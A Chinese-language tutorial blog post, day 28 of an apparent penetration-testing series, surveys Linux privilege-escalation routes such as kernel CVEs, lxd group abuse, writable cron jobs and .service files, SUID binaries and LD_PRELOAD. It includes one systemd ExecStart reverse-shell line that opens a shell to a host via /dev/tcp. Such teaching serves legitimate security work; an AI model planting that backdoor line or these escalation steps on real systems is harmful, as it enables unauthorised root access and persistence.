[Day28] Linux Privilege Escalation

前言

快要结束了,今明两天会讲点拿下Server Initial Access(foothold)之後的权限提升。

正文

在渗透测试期间,若是成功拿到Initial Access通常是漏洞发生的Service的权限,例如假设在网站上拿到RCE并成功弹回Reverse Shell,常常会是www-data或是使用Apache Service的apache帐户,这种权限通常非常低,甚至也不会有正常的tty可以使用(可参考Day24 Bind Shell/Reverse Shell),之前也提过一些方法可以升级tty。在这种情况下,通常会寻求额外的访问权限,不管是垂直提权横向(水平)提权,通常在渗透测试中,最终目标都是拿到整个机器的管理权限,也就是root或Administrator,确保可以最大程度影响/操纵整台Server,这也就是Privilege Escalation,权限提升。而今天的主题将会讲述常见的Linux提权方法。

  • 垂直提权: 攻击者能获得比现有帐户更高的访问权限,例如www-data到普通帐户craig到管理员权限的root。每个权限提升都会拿到比原本更多的执行权限,很多在www-data无法执行的操作,会在craig中得到,例如拥有完整的home目录、或是craig本身是开发者的话,也可能浏览到此人负责开发的project,取得原始码。再到root时,更是可以随意的更改帐户权限,擦除一些入侵痕迹(log)、窃取该机器上的所有帐户创建的内容或是植入後门等等。

  • 水平提权/横向移动: 攻击者能够获得与现有帐户相同的访问权限,但可以访问其他原本无访问权限的帐户内容,例如CraigAngel,各是Server上拥有相同管理权限,却各有不同内容的帐户,攻击者可以透过访问不同用户取得不同用户可以使用的"功能"和资料。

提权主要有几种方法:

  1. Kernel漏洞

例如CVE-2016-5195的DirtyCow或是sudo(CVE-2021-3156)

  1. Driver

例如CVE-2020-12464,USB Driver(严格意义上也属於Linux Kernel)

  1. Software

可以透过dpkg,rpm查看已安装的软件包,例如旧版本的Nagios。
或是像lxd,如果你的user有在lxd的group中,可以透过lxd init开启LXD的程序,透过一些设定和操作,就可以拿来提权,过程十分简单。

  1. Process

可以查看是否有service运行比原本预设更高的权限,例如在local中运行的service或是以root运行的某个网站功能。

  1. cron

查看是否有其他帐户运行的cron job。一个曾遇过的状况是一个以root运行的script,但用户可以修改此script。

  1. .service

若是有限有帐户可以修改或新增的.service权限,就可以在服务启动、重启时执行後门,例如写入

ExecStart=/bin/bash -c 'bash' -i >& /dev/tcp/craig/1234 0>&1'
  1. Unix Binary(SUID/SGID)

种类实在太多,这边简单列出几个

SUID

  • gdb
  • openssl
  • vim
  • node
  • docker
  • find

更多可以参考GTFOBins

  1. Environment Variables

例如LD_PRELOAD
也可以查看再$PATH中的某个目录下是否可以写入档案,可以通过在一个可写的目录中写入一个後门或含有执行Shell或Reverse Shell的档案。

除了上述提到的这些,还有像是Sudo Tokens重用、Backup档案、NFS PrivEsc、rbash escape、logstash、Docker Breakout等等,族繁不及备载。

当然也有人将这些常见漏洞,写成script,方便提权时使用,知名如

建议如果在渗透测试需要进行提权时,交叉使用不一样的script,搭配手动测试可以得到最好的效果,也比较不容易遗漏。


<<:  Day28 - this&Object Prototypes Ch3 Objects - Review

>>:  Day28:Update the Data and the Featured View

Day13语法样式(CSS)

CSS语法样式 CSS的全名是Cascading Style Sheets,阶层样式表指的是可以在同...

跨境平台如何将listing合并?

跨境电商将listing合并或者拆分可以有效分销差评,还可以帮助你增加商品的流量转化,那么下面就给大...

离职倒数14天:2020年学到最多的两件事,解答了我人生最大的困惑

今年年初回顾2020年时的日记里写着,去年学到最多的两件事:一个是趁着肺炎,工作後第一次回家长住,一...

[Lesson29] Git

// 移动到档案路径 cd "档案路径" // 确认git版本并有无正确安装 g...

Gulp 图片压缩 DAY91

gulp-imagemin https://www.npmjs.com/package/gulp-i...